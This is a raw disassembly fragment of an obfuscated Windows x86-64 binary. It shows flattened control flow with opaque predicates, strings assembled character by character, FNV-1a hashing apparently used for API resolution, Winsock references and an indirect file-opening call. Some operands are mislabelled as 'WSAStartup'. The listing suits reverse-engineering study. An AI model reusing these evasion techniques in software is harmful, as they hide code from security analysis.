sub rsp, 0x20
mov rcx, rdi
mov dl, 0x65
call fcn.18001cb40
add rsp, 0x20
mov byte [rsi + 2], al
sub rsp, 0x20
mov rcx, rdi
mov dl, 0x41
call fcn.18001cb40
add rsp, 0x20
mov byte [rsi + 3], al
sub rsp, 0x20
mov rcx, rdi
mov dl, 0x74
call fcn.18001cb40
add rsp, 0x20
mov byte [rsi + 4], al
sub rsp, 0x20
mov rcx, rdi
mov dl, 0x74
call fcn.18001cb40
add rsp, 0x20
mov byte [rsi + 5], al
sub rsp, 0x20
mov rcx, rdi
mov dl, WSAStartup
call fcn.18001cb40
add rsp, 0x20
mov byte [rsi + 6], al
sub rsp, 0x20
mov rcx, rdi
mov dl, 0x69
call fcn.18001cb40
add rsp, 0x20
mov byte [rsi + 7], al
sub rsp, 0x20
mov rcx, rdi
mov dl, 0x62
call fcn.18001cb40
add rsp, 0x20
mov byte [rsi + 8], al
add rsi, 9
mov qword [rbp + 0xe8], rsi
sub rsp, 0x20
mov rcx, rdi
mov dl, 0x75
call fcn.18001cb40
add rsp, 0x20
mov byte [rbp + 0xc8], al
mov eax, 0x1d865868
jmp 0x1800089f0
mov rcx, qword [rbp + 0x78]
sub rsp, 0x20
call fcn.18000b8c0
add rsp, 0x20
mov ecx, dword [0x1801294d8]
mov edx, dword [0x1801294dc]
lea ebx, [rcx - 1]
imul ebx, ecx
test bl, 1
sete cl
sete byte [rbp + 0xd7]
cmp edx, 0xa
setl dl
setl byte [rbp + 0xd6]
or dl, cl
mov edx, 0xc8c5b29f
mov ecx, 0x8063f108
cmovne edx, ecx
mov dword [rbp + 0xb4], edx
mov r10d, 0xc8c5b29f
mov ecx, 0x7ddfb06
cmovne r10d, ecx
mov r11d, 0xec12727d
mov ecx, 0x1d57daac
cmovne r11d, ecx
mov r14d, 0xec12727d
mov ecx, 0x18cb5172
cmovne r14d, ecx
mov r9d, 0xe9e21f4b
mov ecx, 0x4e6deaae
cmovne r9d, ecx
mov ecx, 0xe71cb6cf
jmp 0x180008ba0
mov ecx, 0x18cb5172
nop word cs:[rax + rax]
nop dword [rax]
mov esi, ecx
cmp ecx, 0xe9e21f4a
jle 0x180008c00
cmp esi, 0x2cebdf0a
jle 0x180008c50
cmp esi, 0x553ba0a3
jle 0x180008d06
cmp esi, 0x5f30b901
jg 0x180008e0d
cmp esi, 0x553ba0a4
je 0x180008f5b
mov ecx, esi
cmp esi, 0x5cf0a5d0
jne 0x180008ba0
mov ecx, dword [rbp + 0xe0]
cmp ecx, 0x5b
setl byte [rbp + 0xf7]
mov ecx, 0xa0e5e177
jmp 0x180008ba0
cmp esi, 0xb4b5f8a9
jg 0x180008ca0
cmp esi, 0xacd1a4a1
jle 0x180008d36
cmp esi, 0xae2d49db
jg 0x180008eae
cmp esi, 0xacd1a4a2
je 0x180008f6c
mov ecx, esi
cmp esi, 0xacd9a7e7
jne 0x180008ba0
mov ecx, 0x66a81c96
mov r12d, dword [rbp + 0xe0]
jmp 0x180008ba0
cmp esi, 0x1e9535f
jle 0x180008d75
cmp esi, 0x18cb5171
jg 0x180008ed3
mov ecx, r14d
cmp esi, 0x1e95360
je 0x180008ba0
mov ecx, esi
cmp esi, 0x7ddfb06
jne 0x180008ba0
mov ecx, dword [rbp + 0xe0]
or ecx, 0x20
mov dword [rbp + 0xb8], ecx
mov ecx, dword [rbp + 0xb4]
jmp 0x180008ba0
cmp esi, 0xc62339db
jle 0x180008db5
cmp esi, 0xd0fc2277
jg 0x180008efa
cmp esi, 0xc62339dc
je 0x180008f85
mov ecx, esi
cmp esi, 0xc8c5b29f
jne 0x180008ba0
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, 0x7ddfb06
jmp 0x180008ba0
cmp esi, 0x4e6deaad
jle 0x180008f39
cmp esi, 0x4e6deaae
je 0x180008fad
mov ecx, esi
cmp esi, 0x52a9d8f6
jne 0x180008ba0
mov ecx, 0x2cebdf0b
jmp 0x180008ba0
cmp esi, 0x8044d379
je 0x180008fb7
cmp esi, 0x8063f108
je 0x180008fd1
mov ecx, esi
cmp esi, 0xa0e5e177
jne 0x180008ba0
cmp byte [rbp + 0xf7], 0
mov ecx, 0xacd9a7e7
mov edx, 0xae2d49dc
cmovne ecx, edx
jmp 0x180008ba0
cmp esi, 0xe9e21f4b
je 0x180008fdb
cmp esi, 0xec12727d
je 0x180008b8e
mov ecx, esi
cmp esi, 0xffb5b154
jne 0x180008ba0
mov ecx, dword [rbp + 0xc0]
movzx ecx, byte [rax + rcx]
mov byte [rbp + 0xdf], cl
mov ecx, 0xc62339dc
jmp 0x180008ba0
cmp esi, 0xb4b5f8aa
je 0x180008fe5
cmp esi, 0xbd5aa87e
je 0x180008ffe
mov ecx, esi
cmp esi, 0xbf71e338
jne 0x180008ba0
mov dword [rbp + 0xc8], r15d
mov ecx, dword [rbp + 0xc8]
movsx ecx, byte [rax + rcx]
mov dword [rbp + 0xd0], ecx
mov ecx, dword [rbp + 0xd0]
cmp ecx, 0x20
mov ecx, 0x52a9d8f6
mov edx, 0x8044d379
cmovge ecx, edx
jmp 0x180008ba0
cmp esi, 0x5f30b902
je 0x18000900f
mov ecx, esi
cmp esi, 0x66a81c96
jne 0x180008ba0
movsxd r13, r12d
mov rcx, qword [rbp + 0xe8]
mov rsi, rcx
movabs r8, 0x4ad202c4d6352806
and rsi, r8
movabs rdx, 0x300c2021098a5629
or rsi, rdx
movabs rbx, 0xb52dfd3b29cad7f9
and rcx, rbx
xor rcx, rsi
mov rsi, rcx
movabs rdx, 0x7ade22e5dfbf7e2f
xor rsi, rdx
mov rdi, r13
xor rdi, r8
movabs rdx, 0x8521dd1a204081d0
xor rcx, rdx
and rcx, rdi
xor r13, rbx
and r13, rsi
or r13, rcx
movabs rcx, 0x100000001b3
imul r13, rcx
mov edi, dword [rbp + 0xc0]
add edi, 1
mov ecx, 0xd0fc2278
jmp 0x180008ba0
mov ecx, r10d
cmp esi, 0xae2d49dc
je 0x180008ba0
mov ecx, esi
cmp esi, 0xae32b02c
jne 0x180008ba0
mov ecx, r9d
jmp 0x180008ba0
mov ecx, r11d
cmp esi, 0x18cb5172
je 0x180008ba0
mov ecx, esi
cmp esi, 0x1d57daac
jne 0x180008ba0
mov ecx, 0x5f30b902
jmp 0x180008ba0
cmp esi, 0xd0fc2278
je 0x18000901c
mov ecx, esi
cmp esi, 0xe71cb6cf
jne 0x180008ba0
movzx ebx, byte [rbp + 0xd7]
cmp byte [rbp + 0xd6], 0
mov ecx, 0xe9e21f4b
mov edx, 0xae32b02c
cmovne ecx, edx
test bl, bl
cmovne ecx, edx
jmp 0x180008ba0
cmp esi, 0x2cebdf0b
jne 0x180009049
mov ecx, 0xd0fc2278
xor edi, edi
movabs r13, 0xcbf29ce484222325
jmp 0x180008ba0
mov ecx, 0x66a81c96
mov r12d, dword [rbp + 0xb8]
jmp 0x180008ba0
mov ecx, dword [rbp + 0xc8]
add ecx, 1
mov dword [rbp + 0xd8], ecx
mov ecx, 0xbd5aa87e
jmp 0x180008ba0
movsx ecx, byte [rbp + 0xdf]
mov dword [rbp + 0xe0], ecx
mov ecx, dword [rbp + 0xe0]
cmp ecx, 0x41
mov ecx, 0xacd9a7e7
mov edx, 0x5cf0a5d0
cmovge ecx, edx
jmp 0x180008ba0
mov ecx, 0x1e95360
jmp 0x180008ba0
mov ecx, dword [rbp + 0xd0]
cmp ecx, 0x7f
setl byte [rbp + 0xd5]
mov ecx, 0xb4b5f8aa
jmp 0x180008ba0
mov ecx, 0x553ba0a4
jmp 0x180008ba0
mov ecx, 0xae32b02c
jmp 0x180008ba0
cmp byte [rbp + 0xd5], 0
mov ecx, 0x52a9d8f6
mov edx, 0xacd1a4a2
cmovne ecx, edx
jmp 0x180008ba0
mov ecx, 0xbf71e338
mov r15d, dword [rbp + 0xd8]
jmp 0x180008ba0
mov ecx, 0xbf71e338
xor r15d, r15d
jmp 0x180008ba0
mov dword [rbp + 0xc0], edi
mov qword [rbp + 0xe8], r13
mov ecx, dword [rbp + 0xc8]
mov esi, dword [rbp + 0xc0]
cmp esi, ecx
mov ecx, 0x3fbb12b4
mov edx, 0xffb5b154
cmovb ecx, edx
jmp 0x180008ba0
mov ecx, esi
cmp esi, 0x3fbb12b4
jne 0x180008ba0
mov rcx, qword [rbp + 0xe8]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
mov rcx, qword [rbp + 0x98]
mov edx, dword [rbp + 0x2c]
sub rsp, 0x40
mov dword [rsp + 0x28], edx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x20], 3
mov edx, 0x40000000
mov r8d, 3
xor r9d, r9d
call rax
add rsp, 0x40
mov qword [rbp + 0x90], rax
mov rax, qword [rbp - 0x18]
mov rax, qword [rbp + 0x90]
cmp rax, 0xffffffffffffffff
mov eax, 0x2765ab26
mov ecx, 0x9d21d07d
cmove eax, ecx
jmp 0x18000b4b7
mov dword [rbp + 0xe8], eax
mov eax, dword [rbp + 0xe8]
lea rax, [rbp + 0x120]
mov qword [rbp + 0x80], rax
mov rdi, qword [rbp + 0x80]
mov eax, dword [0x180129528]
mov ecx, dword [0x18012952c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0xc8]
cmp ecx, 0xa
setl byte [rbp + 0xc0]
mov ecx, 0x5940f91d
mov edx, dword [0x180129528]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0x8ec286b
mov ebx, 0x2a65c4dc
cmove edx, ebx
cmp dword [0x18012952c], 0xa
cmovl edx, ebx
nop dword [rax]
cmp ecx, 0x2a65c4db
jg 0x180009170
cmp ecx, 0x8ec286b
je 0x1800091aa
cmp ecx, 0xb4120e5
je 0x18000997e
cmp ecx, 0x269cf6a9
jne 0x180009140
jmp 0x1800091c0
cmp ecx, 0x2a65c4dc
je 0x1800091b1
cmp ecx, 0x65ca16ce
je 0x1800091b8
cmp ecx, 0x5940f91d
jne 0x180009140
movzx ebx, byte [rbp + 0xc8]
cmp byte [rbp + 0xc0], 0
mov ecx, 0x8ec286b
mov esi, 0x65ca16ce
cmovne ecx, esi
test bl, bl
cmovne ecx, esi
jmp 0x180009140
mov ecx, 0x65ca16ce
jmp 0x180009140
mov ecx, 0x269cf6a9
jmp 0x180009140
mov ecx, edx
jmp 0x180009140
sub rsp, 0x20
mov rcx, rdi
mov dx, 0x5c
call fcn.1800fcd1c
mov r11d, 0xa2d30736
mov r10d, 0xfcf4cc8a
add rsp, 0x20
mov ecx, 0xb4120e5
jmp 0x180009116
mov byte [rbp + 0xe8], cl
mov cl, byte [rbp + 0xe8]
mov byte [rax + 1], cl
mov edx, 0x99d14913
nop
cmp edx, 0xdf7a3ced
je 0x18000999a
cmp edx, 0x99d14913
jne 0x180009200
mov ecx, 0xf09ed12e
nop dword [rax]
cmp ecx, 0xf09ed12e
je 0x180009232
cmp ecx, 0x5a3c35b1
jne 0x180009220
jmp 0x180009239
mov ecx, 0x5a3c35b1
jmp 0x180009220
mov dword [rbp + 0xe8], reloc.WS2_32.dll_WSAStartup
movsxd rcx, dword [rbp + 0xe8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add cl, 0x74
mov edx, 0xdf7a3ced
jmp 0x180009200
mov dword [rbp + 0xc0], 0x46
mov dword [rbp + 0xe8], 0x33
mov ecx, dword [0x180129530]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x180129534], 0xa
setl dl
or dl, cl
mov edi, 0x8a56d4d7
cmovne edi, r8d
mov edx, 0x8a56d4d7
cmovne edx, r9d
mov ecx, 0xaaff8048
nop dword [rax]
cmp ecx, 0xaaff8047
jle 0x180009310
cmp ecx, 0xaaff8048
je 0x180009327
cmp ecx, 0xb098df1d
je 0x180009a20
cmp ecx, 0x4bcc94
jne 0x1800092c0
movsxd rbx, dword [rbp + 0xe8]
imul rcx, rbx, 0x4ec4ec4f
mov rsi, rcx
shr rsi, 0x3f
shr rcx, 0x22
add ecx, esi
lea esi, [rcx + rcx*2]
lea ecx, [rcx + rsi*4]
sub ebx, ecx
mov ecx, edi
jmp 0x1800092c0
cmp ecx, 0x8a56d4d7
je 0x18000932b
cmp ecx, 0xa306e9fa
jne 0x1800092c0
mov ecx, 0xb098df1d
jmp 0x1800092c0
mov ecx, edx
jmp 0x1800092c0
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, 0x4bcc94
jmp 0x1800092c0
mov rax, qword [rbp + 0xe8]
mov cl, byte [rbp + 0xc8]
mov byte [rax], cl
mov rsi, qword [rbp + 0xe8]
sub rsp, 0x20
mov rcx, rdi
mov dl, 0x74
call fcn.18001cb40
add rsp, 0x20
mov byte [rsi + 1], al
sub rsp, 0x20
mov rcx, rdi
mov dl, 0x65
call fcn.18001cb40
add rsp, 0x20
mov byte [rsi + 2], al
sub rsp, 0x20
mov rcx, rdi
mov dl, reloc.WS2_32.dll_WSAStartup
call fcn.18001cb40
add rsp, 0x20
mov byte [rsi + 3], al
sub rsp, 0x20
mov rcx, rdi
mov dl, 0x57
call fcn.18001cb40
add rsp, 0x20
mov byte [rsi + 4], al
mov byte [rsi + 5], 0
sub rsp, 0x20
mov rcx, rdi
call fcn.18000b530
add rsp, 0x20
mov ecx, dword [0x1801294d8]
mov edx, dword [0x1801294dc]
lea ebx, [rcx - 1]
imul ebx, ecx
test bl, 1
sete cl
sete byte [rbp + 0xd7]
cmp edx, 0xa
setl dl
setl byte [rbp + 0xd6]
or dl, cl
mov edx, 0xc8c5b29f
mov ecx, 0x8063f108
cmovne edx, ecx
mov dword [rbp + 0xb4], edx
mov r12d, 0xc8c5b29f
mov ecx, 0x7ddfb06
cmovne r12d, ecx
mov r11d, 0xec12727d
mov ecx, 0x1d57daac
cmovne r11d, ecx
mov r14d, 0xec12727d
mov ecx, 0x18cb5172
cmovne r14d, ecx
mov r9d, 0xe9e21f4b
mov ecx, 0x4e6deaae
cmovne r9d, ecx
mov r10d, 0xe71cb6cf
jmp 0x180009460
mov r10d, 0x18cb5172
nop word cs:[rax + rax]
mov esi, r10d
cmp r10d, 0xe9e21f4a
jle 0x1800094c0
cmp esi, 0x2cebdf0a
jle 0x180009520
cmp esi, 0x553ba0a3
jle 0x1800095e8
cmp esi, 0x5f30b901
jg 0x1800096f9
cmp esi, 0x553ba0a4
je 0x180009851
mov r10d, esi
cmp esi, 0x5cf0a5d0
jne 0x180009460
mov ecx, dword [rbp + 0xe0]
cmp ecx, 0x5b
setl byte [rbp + 0xf7]
mov r10d, 0xa0e5e177
jmp 0x180009460
cmp esi, 0xb4b5f8a9
jg 0x180009580
cmp esi, 0xacd1a4a1
jle 0x18000961a
cmp esi, 0xae2d49db
jg 0x18000979c
cmp esi, 0xacd1a4a2
je 0x180009863
mov r10d, esi
cmp esi, 0xacd9a7e7
jne 0x180009460
mov r10d, 0x66a81c96
mov r15d, dword [rbp + 0xe0]
jmp 0x180009460
cmp esi, 0x1e9535f
jle 0x18000965c
cmp esi, 0x18cb5171
jg 0x1800097c2
mov r10d, r14d
cmp esi, 0x1e95360
je 0x180009460
mov r10d, esi
cmp esi, 0x7ddfb06
jne 0x180009460
mov ecx, dword [rbp + 0xe0]
or ecx, 0x20
mov dword [rbp + 0xb8], ecx
mov r10d, dword [rbp + 0xb4]
jmp 0x180009460
cmp esi, 0xc62339db
jle 0x18000969e
cmp esi, 0xd0fc2277
jg 0x1800097eb
cmp esi, 0xc62339dc
je 0x18000987d
mov r10d, esi
cmp esi, 0xc8c5b29f
jne 0x180009460
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov r10d, 0x7ddfb06
jmp 0x180009460
cmp esi, 0x4e6deaad
jle 0x18000982e
cmp esi, 0x4e6deaae
je 0x1800098a7
mov r10d, esi
cmp esi, 0x52a9d8f6
jne 0x180009460
mov r10d, 0x2cebdf0b
jmp 0x180009460
cmp esi, 0x8044d379
je 0x1800098b2
cmp esi, 0x8063f108
je 0x1800098cd
mov r10d, esi
cmp esi, 0xa0e5e177
jne 0x180009460
cmp byte [rbp + 0xf7], 0
mov r10d, 0xacd9a7e7
mov ecx, 0xae2d49dc
cmovne r10d, ecx
jmp 0x180009460
cmp esi, 0xe9e21f4b
je 0x1800098d8
cmp esi, 0xec12727d
je 0x180009450
mov r10d, esi
cmp esi, 0xffb5b154
jne 0x180009460
mov ecx, dword [rbp + 0xc0]
movzx ecx, byte [rax + rcx]
mov byte [rbp + 0xdf], cl
mov r10d, 0xc62339dc
jmp 0x180009460
cmp esi, 0xb4b5f8aa
je 0x1800098e3
cmp esi, 0xbd5aa87e
je 0x1800098fe
mov r10d, esi
cmp esi, 0xbf71e338
jne 0x180009460
mov dword [rbp + 0xc8], r8d
mov ecx, dword [rbp + 0xc8]
movsx ecx, byte [rax + rcx]
mov dword [rbp + 0xd0], ecx
mov ecx, dword [rbp + 0xd0]
cmp ecx, 0x20
mov r10d, 0x52a9d8f6
mov ecx, 0x8044d379
cmovge r10d, ecx
jmp 0x180009460
cmp esi, 0x5f30b902
je 0x180009910
mov r10d, esi
cmp esi, 0x66a81c96
jne 0x180009460
movsxd r13, r15d
mov rcx, qword [rbp + 0xe8]
mov rdi, rcx
movabs rbx, 0x4ad202c4d6352806
and rdi, rbx
movabs rdx, 0x300c2021098a5629
or rdi, rdx
movabs rsi, 0xb52dfd3b29cad7f9
and rcx, rsi
xor rcx, rdi
mov rdi, rcx
movabs rdx, 0x7ade22e5dfbf7e2f
xor rdi, rdx
mov rdx, r13
xor rdx, rbx
movabs rbx, 0x8521dd1a204081d0
xor rcx, rbx
and rcx, rdx
xor r13, rsi
and r13, rdi
or r13, rcx
movabs rcx, 0x100000001b3
imul r13, rcx
mov edi, dword [rbp + 0xc0]
add edi, 1
mov r10d, 0xd0fc2278
jmp 0x180009460
mov r10d, r12d
cmp esi, 0xae2d49dc
je 0x180009460
mov r10d, esi
cmp esi, 0xae32b02c
jne 0x180009460
mov r10d, r9d
jmp 0x180009460
mov r10d, r11d
cmp esi, 0x18cb5172
je 0x180009460
mov r10d, esi
cmp esi, 0x1d57daac
jne 0x180009460
mov r10d, 0x5f30b902
jmp 0x180009460
cmp esi, 0xd0fc2278
je 0x18000991e
mov r10d, esi
cmp esi, 0xe71cb6cf
jne 0x180009460
movzx ecx, byte [rbp + 0xd7]
cmp byte [rbp + 0xd6], 0
mov r10d, 0xe9e21f4b
mov edx, 0xae32b02c
cmovne r10d, edx
test cl, cl
cmovne r10d, edx
jmp 0x180009460
cmp esi, 0x2cebdf0b
jne 0x18000994d
mov r10d, 0xd0fc2278
xor edi, edi
movabs r13, 0xcbf29ce484222325
jmp 0x180009460
mov r10d, 0x66a81c96
mov r15d, dword [rbp + 0xb8]
jmp 0x180009460
mov ecx, dword [rbp + 0xc8]
add ecx, 1
mov dword [rbp + 0xd8], ecx
mov r10d, 0xbd5aa87e
jmp 0x180009460
movsx ecx, byte [rbp + 0xdf]
mov dword [rbp + 0xe0], ecx
mov ecx, dword [rbp + 0xe0]
cmp ecx, 0x41
mov r10d, 0xacd9a7e7
mov ecx, 0x5cf0a5d0
cmovge r10d, ecx
jmp 0x180009460
mov r10d, 0x1e95360
jmp 0x180009460
mov ecx, dword [rbp + 0xd0]
cmp ecx, 0x7f
setl byte [rbp + 0xd5]
mov r10d, 0xb4b5f8aa
jmp 0x180009460
mov r10d, 0x553ba0a4
jmp 0x180009460
mov r10d, 0xae32b02c
jmp 0x180009460
cmp byte [rbp + 0xd5], 0
mov r10d, 0x52a9d8f6
mov ecx, 0xacd1a4a2
cmovne r10d, ecx
jmp 0x180009460
mov r10d, 0xbf71e338
mov r8d, dword [rbp + 0xd8]
jmp 0x180009460
mov r10d, 0xbf71e338
xor r8d, r8d
jmp 0x180009460
mov dword [rbp + 0xc0], edi
mov qword [rbp + 0xe8], r13
mov ecx, dword [rbp + 0xc8]
mov esi, dword [rbp + 0xc0]
cmp esi, ecx
mov r10d, 0x3fbb12b4
mov ecx, 0xffb5b154
cmovb r10d, ecx
jmp 0x180009460
mov r10d, esi
cmp esi, 0x3fbb12b4
jne 0x180009460
mov rcx, qword [rbp + 0xe8]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
mov qword [rbp - 0x60], rax
mov eax, 0xb2fed7e
jmp 0x18000b4b7
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp - 0x48], rax
mov eax, 0x53cbc744
jmp 0x1800036a0
mov byte [rbp + 0xe8], cl
mov cl, byte [rbp + 0xe8]
mov byte [rax + 2], cl
mov edx, 0x99d14913
nop
cmp edx, 0xdf7a3ced
je 0x180009a5c
cmp edx, 0x99d14913
jne 0x1800099b0
mov ecx, 0xf09ed12e
nop dword [rax]
cmp ecx, 0xf09ed12e
je 0x1800099e2
cmp ecx, 0x5a3c35b1
jne 0x1800099d0
jmp 0x1800099e9
mov ecx, 0x5a3c35b1
jmp 0x1800099d0
mov dword [rbp + 0xe8], reloc.WS2_32.dll_WSAStartup
movsxd rcx, dword [rbp + 0xe8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add cl, 0x46
mov edx, 0xdf7a3ced
jmp 0x1800099b0
mov byte [rbp + 0xc8], bl
mov cl, byte [rbp + 0xc8]
mov edx, dword [rbp + 0xc0]
add dl, cl
mov byte [rax], dl
mov ecx, 0x37b3c0ed
nop dword [rax + rax]
cmp ecx, 0x37b3c0ed
je 0x180009a55
cmp ecx, 0x8d81730e
jne 0x180009a40
jmp 0x180009ae0
mov ecx, 0x8d81730e
jmp 0x180009a40
mov byte [rbp + 0xe8], cl
mov cl, byte [rbp + 0xe8]
mov byte [rax + 3], cl
mov edx, 0x99d14913
cmp edx, 0xdf7a3ced
je 0x180009bbd
cmp edx, 0x99d14913
jne 0x180009a70
mov ecx, 0xf09ed12e
nop dword [rax]
cmp ecx, 0xf09ed12e
je 0x180009aa2
cmp ecx, 0x5a3c35b1
jne 0x180009a90
jmp 0x180009aa9
mov ecx, 0x5a3c35b1
jmp 0x180009a90
mov dword [rbp + 0xe8], reloc.WS2_32.dll_WSAStartup
movsxd rcx, dword [rbp + 0xe8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add cl, 0x69
mov edx, 0xdf7a3ced
jmp 0x180009a70
mov dword [rbp + 0xc0], WSAStartup
mov dword [rbp + 0xe8], 0x33
mov ecx, dword [0x180129530]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x180129534], 0xa
setl dl
or dl, cl
mov edi, 0x8a56d4d7
cmovne edi, r8d
mov edx, 0x8a56d4d7
cmovne edx, r9d
mov ecx, 0xaaff8048
nop dword [rax]
cmp ecx, 0xaaff8047
jle 0x180009b80
cmp ecx, 0xaaff8048
je 0x180009b97
cmp ecx, 0xb098df1d
je 0x180009c50
cmp ecx, 0x4bcc94
jne 0x180009b30
movsxd rbx, dword [rbp + 0xe8]
imul rcx, rbx, 0x4ec4ec4f
mov rsi, rcx
shr rsi, 0x3f
shr rcx, 0x22
add ecx, esi
lea esi, [rcx + rcx*2]
lea ecx, [rcx + rsi*4]
sub ebx, ecx
mov ecx, edi
jmp 0x180009b30
cmp ecx, 0x8a56d4d7
je 0x180009b9b
cmp ecx, 0xa306e9fa
jne 0x180009b30
mov ecx, 0xb098df1d
jmp 0x180009b30
mov ecx, edx
jmp 0x180009b30
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, 0x4bcc94
jmp 0x180009b30
mov byte [rbp + 0xe8], cl
mov cl, byte [rbp + 0xe8]
mov byte [rax + 4], cl
mov edx, 0x99d14913
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xdf7a3ced
je 0x180009c8c
cmp edx, 0x99d14913
jne 0x180009be0
mov ecx, 0xf09ed12e
nop dword [rax]
cmp ecx, 0xf09ed12e
je 0x180009c12
cmp ecx, 0x5a3c35b1
jne 0x180009c00
jmp 0x180009c19
mov ecx, 0x5a3c35b1
jmp 0x180009c00
mov dword [rbp + 0xe8], reloc.WS2_32.dll_WSAStartup
movsxd rcx, dword [rbp + 0xe8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add cl, 0x6c
mov edx, 0xdf7a3ced
jmp 0x180009be0
mov byte [rbp + 0xc8], bl
mov cl, byte [rbp + 0xc8]
mov edx, dword [rbp + 0xc0]
add dl, cl
mov byte [rax + 1], dl
mov ecx, 0x37b3c0ed
nop dword [rax]
cmp ecx, 0x37b3c0ed
je 0x180009c85
cmp ecx, 0x8d81730e
jne 0x180009c70
jmp 0x180009dfc
mov ecx, 0x8d81730e
jmp 0x180009c70
mov byte [rbp + 0xe8], cl
mov cl, byte [rbp + 0xe8]
mov byte [rax + 5], cl
add rax, 6
mov qword [rbp + 0xc0], rax
mov eax, 0x910e86d2
nop dword [rax + rax]
cmp eax, 0x274b67b4
je 0x180009edd
cmp eax, 0x910e86d2
jne 0x180009cb0
mov ecx, 0x99d14913
nop word [rax + rax]
cmp ecx, 0xdf7a3ced
je 0x180009d3d
cmp ecx, 0x99d14913
jne 0x180009cd0
mov eax, 0xf09ed12e
nop word cs:[rax + rax]
nop
cmp eax, 0xf09ed12e
je 0x180009d00
cmp eax, 0x5a3c35b1
jne 0x180009cf0
jmp 0x180009d07
mov eax, 0x5a3c35b1
jmp 0x180009cf0
mov dword [rbp + 0xc8], reloc.WS2_32.dll_WSAStartup
movsxd rax, dword [rbp + 0xc8]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
add al, 0x65
mov ecx, 0xdf7a3ced
jmp 0x180009cd0
mov byte [rbp + 0xc8], al
mov al, byte [rbp + 0xc8]
mov rcx, qword [rbp + 0xc0]
mov byte [rcx], al
mov rax, qword [rbp + 0xc0]
add rax, 1
mov qword [rbp + 0xe8], rax
mov ecx, 0x99d14913
nop dword [rax]
cmp ecx, 0xdf7a3ced
je 0x180009ddd
cmp ecx, 0x99d14913
jne 0x180009d70
mov eax, 0xf09ed12e
nop word cs:[rax + rax]
nop
cmp eax, 0xf09ed12e
je 0x180009da0
cmp eax, 0x5a3c35b1
jne 0x180009d90
jmp 0x180009da7
mov eax, 0x5a3c35b1
jmp 0x180009d90
mov dword [rbp + 0xc8], reloc.WS2_32.dll_WSAStartup
movsxd rax, dword [rbp + 0xc8]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
add al, 0x53
mov ecx, 0xdf7a3ced
jmp 0x180009d70
mov byte [rbp + 0xc8], al
mov al, byte [rbp + 0xc8]
mov rcx, qword [rbp + 0xe8]
mov byte [rcx], al
mov eax, 0x274b67b4
jmp 0x180009cb0
mov dword [rbp + 0xc0], 0x75
mov dword [rbp + 0xe8], 0x33
mov ecx, dword [0x180129530]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x180129534], 0xa
setl dl
or dl, cl
mov edi, 0x8a56d4d7
cmovne edi, r8d
mov edx, 0x8a56d4d7
cmovne edx, r9d
mov ecx, 0xaaff8048
nop word cs:[rax + rax]
nop
cmp ecx, 0xaaff8047
jle 0x180009ea0
cmp ecx, 0xaaff8048
je 0x180009eb7
cmp ecx, 0xb098df1d
je 0x180009f60
cmp ecx, 0x4bcc94
jne 0x180009e50
movsxd rbx, dword [rbp + 0xe8]
imul rcx, rbx, 0x4ec4ec4f
mov rsi, rcx
shr rsi, 0x3f
shr rcx, 0x22
add ecx, esi
lea esi, [rcx + rcx*2]
lea ecx, [rcx + rsi*4]
sub ebx, ecx
mov ecx, edi
jmp 0x180009e50
cmp ecx, 0x8a56d4d7
je 0x180009ebb
cmp ecx, 0xa306e9fa
jne 0x180009e50
mov ecx, 0xb098df1d
jmp 0x180009e50
mov ecx, edx
jmp 0x180009e50
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, dword [rbp + 0xe8]
mov ecx, 0x4bcc94
jmp 0x180009e50
mov rax, qword [rbp + 0xe8]
mov edx, 0x99d14913
nop dword [rax]
cmp edx, 0xdf7a3ced
je 0x180009f9c
cmp edx, 0x99d14913
jne 0x180009ef0
mov ecx, 0xf09ed12e
nop dword [rax]
